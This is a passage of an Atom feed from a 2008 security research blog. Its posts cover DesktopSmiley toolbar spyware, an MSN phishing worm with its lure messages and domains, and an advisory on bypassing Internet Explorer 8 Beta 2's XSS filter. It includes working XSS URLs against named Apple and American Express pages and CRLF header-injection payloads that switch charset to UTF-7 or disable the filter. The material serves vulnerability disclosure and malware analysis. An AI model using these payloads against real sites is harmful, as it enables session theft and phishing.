src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2LE2jGhnAoHETSO-NwRmeOsade6D2cJbcg8T4M4ukvOM1vl8ZGBNkm4d5qQ9d8NCSLcW4z4lVr0jDlVgBEJis6EM4YX1M3Yuzhhyphenhyphen34_JOCOFgrCIxRcrz4Bf_9Z3nYOh48jAbtQA133GT/s400/virutalized.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5285101666592171314&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That is quite original! &quot;A non-virtualized hardware system is required&quot;, of course anybody technical gets how lame this lie is :)&lt;br /&gt;why would an IE toolbar &quot;require&quot; a &quot;non-virtualized hardware&quot;, why would it even bother to check if it&#39;s running under a virtualized environment unless it has some illegal actions to hide?!&lt;br /&gt;&lt;br /&gt;Well i am defiantly not going to execute it on my machine :)&lt;br /&gt;Maby i will test is some other day on a real machine with Restore-IT/Ghost&lt;br /&gt;&lt;br /&gt;In the meantime, let&#39;s take look at some of the things that it does:&lt;br /&gt;It copies some IE settings from HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ to HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ except for (AutoDetect and UNCAsIntranet which exist there and get modified):&lt;br /&gt;ProxyBypass:1 (default 1)&lt;br /&gt;IntranetName:1 (default 1)&lt;br /&gt;MigrateProxy:1 (default 1)&lt;br /&gt;AutoDetect:1 (default 0)&lt;br /&gt;UNCAsIntranet:1 (default 0)&lt;br /&gt;ProxyEnable:0 (default 0)&lt;br /&gt;&lt;br /&gt;It sure looks like someone is going to assign a proxy for us :)&lt;br /&gt;&lt;br /&gt;The setup process command-line:&lt;br /&gt;&quot;C:\Documents and Settings\Insider\Local Settings\Temporary Internet Files\{5617ECA9-488D-4BA2-8562-9710B9AB78D2}\stbup.exe&quot; /new /src=user&lt;br /&gt;&lt;br /&gt;the &quot;/src=user&quot; really sounds like there are cases which the user did not initiated the installation :)  it could be used for self-update though.&lt;br /&gt;&lt;br /&gt;Lets examine some of the the strings in the memory of this &quot;DoubleD&quot; software:&lt;br /&gt;Software\SimonTatham\PuTTY\Sessions&lt;br /&gt;Software\SimonTatham\PuTTY\SshHostKeys&lt;br /&gt;Software\SimonTatham\PuTTY&lt;br /&gt;\PUTTY.RND&lt;br /&gt;Well, i don&#39;t want to point a blaming finger but it seems this &quot;legitimate smiley IE toolbar&quot; is very interested in getting some access to our saved PuTTY SSH hosts...quite innocent&lt;br /&gt;&lt;br /&gt;There are a lot of weird stuff this spyware does, like starting a local proxy which explains how they steal data from IE and makes this self-updating software a cool way to make a non-botnet botnet :)&lt;br /&gt;It also implements an SSH client and almost every famous encryption algorithm (rinjdeal, AES, des, 3des, blowfish) looks like it does local MITM attacks to SSH login software.&lt;br /&gt;&lt;br /&gt;So get root and Smile away with it :)</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/1221758763254697624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/1221758763254697624' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/1221758763254697624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/1221758763254697624'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/12/desktopsmiley-toolbar.html' title='The &quot;DesktopSmiley, Not A Spyware&quot; ToolBar'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2LE2jGhnAoHETSO-NwRmeOsade6D2cJbcg8T4M4ukvOM1vl8ZGBNkm4d5qQ9d8NCSLcW4z4lVr0jDlVgBEJis6EM4YX1M3Yuzhhyphenhyphen34_JOCOFgrCIxRcrz4Bf_9Z3nYOh48jAbtQA133GT/s72-c/virutalized.JPG" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-6178079294533900218</id><published>2008-12-24T18:54:00.001-08:00</published><updated>2008-12-24T18:54:59.868-08:00</updated><title type='text'>Big Brands XSS</title><content type='html'>&lt;span class=&quot;postbody&quot;&gt;&lt;br /&gt;Apple Store - XSS (less then 15 minutes to find it, manually)&lt;br /&gt;&lt;textarea rows=8 cols=48&gt;http://store.apple.com/us/product/TU243LL/A?fnode=MTY1NDA4Mg&amp;mco=MjQyMDQ1OA&amp;s=newest&#39;&quot;&gt;&lt;script&gt;alert(&quot;The apple didn&#39;t fell far from the last apple&quot;)&lt;/script&gt;%3E%3Cdiv%20id=%22&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;American Express - HTTPS XSS (less then a minute to find it, manually)&lt;br /&gt;&lt;textarea rows=8 cols=48&gt;https://www01.extra.americanexpress.com/ProductImage.aspx?url=https://merpic.intelliwebservices.com/img/full/10185/b2/50fe31e266936b2887ab3ef9608f2db2.gif%22%3E%3Cscript%3Ealert(%27American%20XSSspress%27)%3C/script%3E%3Cdiv%20id=%22&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;postbody&quot;&gt;&lt;/span&gt;How can us customers trust the big brand companies when our accounts are compromised and we can no longer trust links to those empires websites?!&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/6178079294533900218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/6178079294533900218' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/6178079294533900218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/6178079294533900218'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/12/big-brands-xss.html' title='Big Brands XSS'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-8113055954127814310</id><published>2008-12-18T19:37:00.001-08:00</published><updated>2009-01-13T03:06:40.852-08:00</updated><title type='text'>The MSN &quot;Not A Phishing Worm&quot;</title><content type='html'>This is a funny one actually :)&lt;br /&gt;I am just working as usual when I got the following message on my MSN Messenger:&lt;br /&gt;&lt;blockquote&gt;This is how real girls party. Great high quality pictures on&lt;br /&gt;http://jusmineza.PartyPicturez.info&lt;/blockquote&gt;Now of course i understood that it&#39;s a worm, but still, lets see where it leads to.&lt;br /&gt;So I went into the site and it looked like this:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMtOt4zqurjzQpGtUREj-C9L5jZQe5j19Mj97xSZ2__7OnPsQHKEsBJJub9pFenEchpZQfXZw-1CST8tdxA_iQW4KyWVTdvXlmhH9cOgA2stxGyP_WkM0XtqXSyFYtu2Vo3Lu0JsHVkrp/s1600-h/msnphishing.bmp&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 300px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMtOt4zqurjzQpGtUREj-C9L5jZQe5j19Mj97xSZ2__7OnPsQHKEsBJJub9pFenEchpZQfXZw-1CST8tdxA_iQW4KyWVTdvXlmhH9cOgA2stxGyP_WkM0XtqXSyFYtu2Vo3Lu0JsHVkrp/s400/msnphishing.bmp&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5281341625977419794&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With what i have seen until now, this is a classic phising site, I saw dozens&lt;br /&gt;like it for Yahoo! in the past. But wait! lets look at that GREY text blow:&lt;br /&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;Terms of Use / Privacy Policy:&lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;By filling out this form, you authorize T P Ltd to spread the word about this new 100% real and upcoming        Messenger Community Site. You will receive your share of the credit in helping us spread the word. This is a        harmless Community site which is offering users a platform to meet each other for free.&lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;We do not share your private information with any third parties. By using our service/website you hereby fully        authorize T P Ltd to send messages of a commercial nature via Instant Messages and E-Mails on behalf of third        parties via the information you provide us. This is not a &quot;phishing&quot; site that attempts to &quot;trick&quot; you into        revealing personal information. Everything we do with your information is disclosed here. If you are under        eighteen (18), you MUST obtain permission from a parent or guardian before using our website/service.&lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;This page is not affiliated with or operated by Microsoft(tm) or MSN Network(tm).&lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;ANY LIABILITY, INCLUDING WITHOUT LIMITATION ANY LIABILITY FOR DAMAGES CAUSED OR ALLEGEDLY CAUSED BY ANY FAILURE        OF PERFORMANCE, ERROR, OMISSION, INTERRUPTION, DEFECT, DELAY IN OPERATION OR TRANSMISSION, COMMUNICATIONS LINE        FAILURE, SHALL BE STRICTLY LIMITED TO THE AMOUNT PAID BY OR ON BEHALF OF THE SUBSCRIBER TO THIS SERVICE.&lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;We may temporarily access your MSN account to do a combination of the following: 1. Send Instant Messages to your        friends promoting this site. 2. Introduce new entertaining sites to your friends via Instant Messages.&lt;/a&gt;&lt;/p&gt;   &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;This is a free service. You will not be asked to pay at any time. You will not be subscribed to anything asking        for payment. This service is made possible by many hours of human effort. &lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;T P Ltd reserves the right to change the terms of use / privacy policy at any time without notice. To view the        latest version of this privacy policy, simply bookmark this page for future reference. &lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;You understand that this agreement shall prevail if there is any conflict between this agreement and the terms of        use you accepted when you signed up with MSN. You also understand that by temporarily accessing your msn account,        T P Ltd is NOT agreeing to MSN&#39;s terms of use and therefore not bound by them.&lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;This agreement shall be construed and governed by the law of the republic of Panama. You expressly consent to the        exclusive venue and personal jurisdiction of the courts located in the Republic of panama for any actions arising        from or relating to this agreement.&lt;/a&gt;&lt;/p&gt;  &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;p&gt;&lt;a name=&quot;terms&quot;&gt;If any provision of this agreement is held to be invalid, illegal or unenforceable for any reason, such        invalidity, illegality or unenforceability shall not effect any other provisions of this agreement, and this        agreement shall be construed as if such invalid, illegal or unenforceable provision had not been contained        herein.&lt;/a&gt;&lt;/p&gt;  &lt;div id=&quot;copyr&quot;&gt; &lt;a name=&quot;terms&quot;&gt;    &lt;/a&gt;&lt;center&gt;&lt;a name=&quot;terms&quot;&gt;Copyright 2008 T P Ltd&lt;/a&gt;&lt;/center&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div id=&quot;copyr&quot;&gt;&lt;center&gt;&lt;a name=&quot;terms&quot;&gt;&lt;/a&gt;&lt;/center&gt; &lt;/div&gt;&lt;a name=&quot;terms&quot;&gt;OK, they said in the text:&lt;br /&gt;&lt;/a&gt;&lt;blockquote&gt;&lt;a name=&quot;terms&quot;&gt;This is not a &quot;phishing&quot; site that attempts to &quot;trick&quot; you into        revealing personal information.&lt;/a&gt;&lt;/blockquote&gt;So they don&#39;t want our usernames and password, which is also the EMAIL of most people, yeah I believe them, sure.&lt;br /&gt;&lt;br /&gt;They just want to:&lt;br /&gt;&lt;blockquote&gt;&lt;a name=&quot;terms&quot;&gt;1. Send Instant Messages to your        friends promoting this site. 2. Introduce new entertaining sites to your friends via Instant Messages.&lt;/a&gt;&lt;br /&gt;&lt;/blockquote&gt;Which is completely different with what a worm does. A worm just spreads and &quot;introduces&quot;, &quot;entertaining&quot; sites with a lot of porn and exploits.&lt;br /&gt;&lt;a name=&quot;terms&quot;&gt;&lt;/a&gt;&lt;blockquote&gt;&lt;a name=&quot;terms&quot;&gt;By using our service/website you hereby fully        authorize T P Ltd to send messages of a commercial nature via Instant Messages and E-Mails on behalf of third        parties via the information you provide us.&lt;/a&gt;&lt;br /&gt;.....&lt;br /&gt;&lt;a name=&quot;terms&quot;&gt;ANY LIABILITY, INCLUDING WITHOUT LIMITATION ANY LIABILITY FOR DAMAGES CAUSED&lt;/a&gt;&lt;/blockquote&gt;Yeah why not, take my account and send spam &quot;&lt;a name=&quot;terms&quot;&gt;on behalf of third        parties&lt;/a&gt;&quot; and if they get like hacked or something, we are not responsible, you agreed to this.&lt;br /&gt;&lt;br /&gt;I believe this should be called &quot;Legal Phishing User Agreement&quot; or &quot;Worm As A Service&quot;.&lt;br /&gt;It is also a little wiered that a &quot;legal&quot; domain called &quot;partypicturez.info&quot; is dealing with MSN accounts and not PICTURES FROM PARTIES and has unlimited(*.)  subdomains and only 1 page, don&#39;t you think?!&lt;br /&gt;Ofcourse they used the domain protection:&lt;br /&gt;&lt;blockquote&gt;Registrant Email:9648af2d68114548bfc703cca6806a46.protect@whoisguard.com&lt;br /&gt;Admin Name:WhoisGuard  Protected&lt;br /&gt;Admin Organization:WhoisGuard&lt;/blockquote&gt;Well, don&#39;t fill any form you see without reading the small (and in this case GREY) prints :)&lt;br /&gt;&lt;p&gt;Update:&lt;br /&gt;The messages are updated by the hour, these ones are specific for xmas.&lt;br /&gt;Any file or subdomain in win-win-it.com redirects to http://www.desktopsmiley.com/go.do?a=814&lt;br /&gt;The same worm also sends this message:&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&quot;[msn_dst_user], claim your Prize!&lt;br /&gt;http://[msn_src_user]&lt;geckopastefix&gt;&lt;/geckopastefix&gt;.win-win-it.com/winner.php&quot;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;And&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;congratulations [msn_dst_user]!!!&lt;br /&gt;http://[msn_src_user]&lt;geckopastefix&gt;&lt;/geckopastefix&gt;.accept-your-gift.com/winner.php&lt;br /&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;merry XMAS   heres your gift&lt;br /&gt;http://[msn_src_user]&lt;geckopastefix&gt;&lt;/geckopastefix&gt;.specialofferforyou.info/gift.php&lt;br /&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;[msn_dst_user], claim your Xmas Card!&lt;br /&gt;http://[msn_src_user]&lt;geckopastefix&gt;&lt;/geckopastefix&gt;.greeting-cardss.com/xmas.php&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;And&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;http://freegiftznow.com/xmas.php&lt;/blockquote&gt;And&lt;br /&gt;&lt;blockquote&gt;[msn_dst_user], see the pics from yesterday&#39;s christmas party   what do u think?&lt;br /&gt;http://[msn_src_user]&lt;geckopastefix&gt;&lt;/geckopastefix&gt;.yourimagez.com/xmas.php&lt;br /&gt;&lt;/blockquote&gt;And this one, which redirects to http://www.xxxblackbook.com&lt;br /&gt;&lt;blockquote&gt;Mmmm Babe!&lt;br /&gt;&lt;br /&gt;Just got myself a naughty profile here. You should check me out before its too late!&lt;br /&gt;&lt;br /&gt;http://www.theblogboards.com/profiles.php&lt;/blockquote&gt;And this one which is misconfigured and will not work the the subdomain contains an &quot;_&quot;&lt;geckopastefix&gt;&lt;/geckopastefix&gt;&lt;blockquote&gt;http://[msn_src_user]&lt;geckopastefix&gt;&lt;/geckopastefix&gt;.crazy-new-year-party-pics.com &lt;/blockquote&gt;And&lt;br /&gt;&lt;blockquote&gt;http://nu-years.awesomeofferz.com&lt;/blockquote&gt;And&lt;br /&gt;&lt;blockquote&gt;http://[msn_src_user]&lt;geckopastefix&gt;&lt;/geckopastefix&gt;.real-cool-newyear-party-pics.com&lt;br /&gt;&lt;/blockquote&gt;And&lt;br /&gt;&lt;blockquote&gt;Claim your Prize! EXPIRY: TODAY!!!! Hurry&lt;br /&gt;http://mypoemstoyou.com/winner.php&lt;/blockquote&gt;And&lt;br /&gt;&lt;blockquote&gt;see pictures of me naked &amp;amp; fucking all night long!! LOL&lt;br /&gt;http://www.seex4u.com/collegepics.php&lt;/blockquote&gt;And&lt;br /&gt;&lt;blockquote&gt;see my 2009 new years party album i uploaded here &lt;:o)&lt;:o) http://2009-newyear-party-pics.com/party.php&lt;/blockquote&gt;And this which redirects to http://www.naughty-nightz.com/&lt;br /&gt;&lt;blockquote&gt;see this blog&lt;br /&gt;http://theblogboards.com/blog.php&lt;br /&gt;&lt;/blockquote&gt;And&lt;br /&gt;&lt;blockquote&gt;hey babe... i created a profile here with some of my secret pictures.... dont wait too long .... signup to see!&lt;br /&gt;http://www.date-me-now.com/myprofile.php&lt;/blockquote&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt; &lt;p&gt;Which is also registered by WHOISGuard.&lt;br /&gt;Both these websites were built to make people download this:&lt;br /&gt;http://www.desktopsmiley.com/toolbar/desktopsmiley/download/stb_installer.exe&lt;/p&gt; &lt;p&gt;Which they claim is:&lt;/p&gt; &lt;blockquote&gt;&lt;p&gt;&quot;Download DesktopSmiley to get 1000&#39;s of &lt;b&gt;FREE&lt;/b&gt; Smileys!&lt;br /&gt;It&#39;s totally &lt;b&gt;FREE&lt;/b&gt;! No Registration. No Spyware.&quot;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Yes, a toolbar advertised by a WORM is not spyware, sure...&lt;br /&gt;The example above was version 2.0c. It seems these guys used different methods and different domains and different company names in the older versions (which is typical to viruses and spyware but not to legitimate software).&lt;br /&gt;The following example belongs to an older version 1.1c whi MSN message:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;foto http://hi5.eu.com/id.php?=[dst_user_email]&lt;/blockquote&gt;Which prompts a download for &quot;IMG455.jpg-www.photo.com&quot; which is an EXE file with a COM extension and where ran &quot;True Type Detection&quot; will be made by windows loader and it will execute as the regular EXE file it  is.&lt;br /&gt;Those people don&#39;t care a bit and they left &quot;Directory Browsing&quot; open in the subdomain&#39;s root, check it out at: http://hi5.eu.com/&lt;br /&gt;They even forgot to remove their private packer from the site: http://hi5.eu.com/pa-packer.rar&lt;br /&gt;&lt;br /&gt;They also have a version at: http://new.upicx.com/ (which i think just went down...)&lt;br /&gt;Which loads &quot; http://new.upicx.com/indexx.php&quot; and &quot; http://new.upicx.com/pop.php&quot; and VERIFYS the request&#39;s REFERER is &quot; http://new.upicx.com/&quot; so direct reference to these files returns &quot;404 Not Found&quot;.</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/8113055954127814310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/8113055954127814310' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8113055954127814310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8113055954127814310'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/12/msn-not-phishing-worm.html' title='The MSN &quot;Not A Phishing Worm&quot;'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMtOt4zqurjzQpGtUREj-C9L5jZQe5j19Mj97xSZ2__7OnPsQHKEsBJJub9pFenEchpZQfXZw-1CST8tdxA_iQW4KyWVTdvXlmhH9cOgA2stxGyP_WkM0XtqXSyFYtu2Vo3Lu0JsHVkrp/s72-c/msnphishing.bmp" height="72" width="72"/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-8020250816013891697</id><published>2008-11-24T02:39:00.000-08:00</published><updated>2008-12-24T12:47:31.780-08:00</updated><title type='text'>Internet Explorer 8.0 Beta 2 Anti-XSS Filter</title><content type='html'>Aspect9: Internet Explorer 8.0 Beta 2 Anti-XSS Filter Vulnerabilities&lt;br /&gt;&lt;br /&gt;Release Date:&lt;br /&gt;November 24, 2008&lt;br /&gt;&lt;br /&gt;Date Reported:&lt;br /&gt;October 5, 2008&lt;br /&gt;&lt;br /&gt;Severity:&lt;br /&gt;Medium-High (Execute scripts, Turning Protection Off, Transfer data Cross&lt;br /&gt;Domains)&lt;br /&gt;&lt;br /&gt;Vendor:&lt;br /&gt;Microsoft&lt;br /&gt;&lt;br /&gt;Systems Affected:&lt;br /&gt;Windows Platform with Internet Explorer 8.0 Beta 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Overview:&lt;br /&gt;Aspect9 has discovered several vulnerabilities in Microsoft Windows&lt;br /&gt;Internet Explorer 8.0 Beta 2. This new version of Microsoft&#39;s famous&lt;br /&gt;browser includes new security improvements such as a Cross Site Scripting&lt;br /&gt;(XSS) filter. This version also includes a new object that safely allows&lt;br /&gt;transferring  data across domains, allowing them to interact with each other.&lt;br /&gt;&lt;br /&gt;The Anti-XSS filter has been found to have some security holes in the&lt;br /&gt;current implementation. Microsoft decided to filter &quot;Type 1 XSS&quot; which is&lt;br /&gt;free  text send to the server being reflected to the user and therefore&lt;br /&gt;injecting HTML code into the website&#39;s page. They chose not to handle&lt;br /&gt;certain situations such as injection into a JavaScript tag space, which&lt;br /&gt;would be extremely difficult to filter. The software giant also chose not&lt;br /&gt;to filter injection into HTTP headers, which will drive hackers to focus on&lt;br /&gt;discovering CRLF vulnerabilities.&lt;br /&gt;&lt;br /&gt;A quote of Microsoft&#39;s Anti-XSS filter design philosophy:&lt;br /&gt;[[[&lt;br /&gt;&quot;Like all security mitigation and protection technologies, the XSS Filter’s&lt;br /&gt;approach does have limitations, being that it is a pragmatic balance&lt;br /&gt;between application compatibility, security, and performance.&lt;br /&gt;&lt;br /&gt;Some examples:&lt;br /&gt;* Injection into some contexts is not blocked. Ex: Scenarios where content&lt;br /&gt;can be injected directly into JavaScript without breaking out of a string.&lt;br /&gt;&lt;br /&gt;* Injections facilitated by some HTTP headers are not currently blocked.&lt;br /&gt;Ex: “Referer” based injection.&lt;br /&gt;&lt;br /&gt;* If a page contains multiple nearby injection points, attacks can be&lt;br /&gt;constructed that thwart the XSS Filter.&quot;&lt;br /&gt;]]]&lt;br /&gt;&lt;br /&gt;For more information about the Anti-XSS filter:&lt;br /&gt;http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-&lt;br /&gt;philosophy-in-depth.aspx&lt;br /&gt;&lt;br /&gt;In order to understand the contents of this advisory, the reader must be&lt;br /&gt;familiar with the concept of CRLF which is distinguished from CRSF.&lt;br /&gt;http://www.owasp.org/index.php/CRLF_Injection&lt;br /&gt;http://www.owasp.org/index.php/CSRF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Technical Details:&lt;br /&gt;&lt;br /&gt;Bypass using CRLF+Encodings:&lt;br /&gt;---------------------------------------------&lt;br /&gt;Microsoft Windows Internet Explorer 8.0 Beta 2 was designed to stop &quot;Type 1&lt;br /&gt;XSS&quot; attacks. CRLF Injection is also XSS type 1 and is not mitigated by the&lt;br /&gt;filter, though the data in the query string will still be filtered.&lt;br /&gt;This means that if an attacker tries to exploit a CRLF for XSS in the&lt;br /&gt;casual manner, used in this demo:&lt;br /&gt;http://www.linkstofiles.com/crlf.py?url=cookie1%3dvalue1;%0D%0A%0D%0A[html][body]&lt;br /&gt;[script]alert(&#39;get it?&#39;)[/script][/body][/html]&lt;br /&gt;&lt;br /&gt;His attack will fail as &quot;[script]&quot; will be filtered to &quot;[sc#ipt]&quot;&lt;br /&gt;&lt;br /&gt;However, an attacker can inject a content-type header and overwrite the&lt;br /&gt;page charset and therefore bypass the XSS filter which uses the prior&lt;br /&gt;encoding. A good example for this is with utf-7, the following request:&lt;br /&gt;http://www.linkstofiles.com/crlf.py?url=cookie1%3dvalue1;%0d%0aContent-&lt;br /&gt;Type: text/html; charset%3dutf-7%0d%0a%0d%0a[html][body]+ADw-script+AD4-&lt;br /&gt;alert(&#39;owned&#39;)+ADw-/script+AD4-[/body][/html]&lt;br /&gt;&lt;br /&gt;This will result in:&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Content-Type: text/html; charset=utf-7&lt;br /&gt;Server: Microsoft-IIS/6.0&lt;br /&gt;Set-Cookie: url=cooki1=value1;&lt;br /&gt;X-Powered-By: PleskWin&lt;br /&gt;MicrosoftOfficeWebServer: 5.0_Pub&lt;br /&gt;X-Powered-By: ASP.NET&lt;br /&gt;Date: Sun, 05 Oct 2008 23:46:11 GMT&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;[html][body]+ADw-script+AD4-alert(&#39;owned&#39;)+ADw-/script+AD4-[/body][/html];&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;This will be rendered as utf-7 and will execute.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bypass using CRLF+&quot;X-XSS-Protection&quot;:&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;In addition to the problem of CRLF being able to re-write the page and&lt;br /&gt;bypass the filter using a different encoding than the one of the page,&lt;br /&gt;Microsoft were kind enough to leave a backdoor AKA feature for developers&lt;br /&gt;to turn the filter off. This header is called &quot;X-XSS-Protection&quot; which gets&lt;br /&gt;a Boolean value of 0 or 1. Injecting &quot;X-XSS-Protection: 0&quot; though CRLF an&lt;br /&gt;attacker can shutdown the XSS protection for the current request.&lt;br /&gt;&lt;br /&gt;Demo:&lt;br /&gt;http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aX-XSS-Protection: 0&lt;br /&gt;%0d%0a%0d%0a[html][body][script]alert(&#39;owned&#39;)[/script][/body][/html]&lt;br /&gt;&lt;br /&gt;Of course the problem goes further to any HTTP header that can be used&lt;br /&gt;maliciously like setting cookies and by that changing to a different user&lt;br /&gt;then the one logged on, such as stealing their cookie and then replacing it&lt;br /&gt;with a cookie of a bulk user and therefore taking over their session. using&lt;br /&gt;&quot;Location:&quot; header to redirect pages and internal frames/iframes to&lt;br /&gt;look-a-like phishing websites and etc...&lt;br /&gt;&lt;br 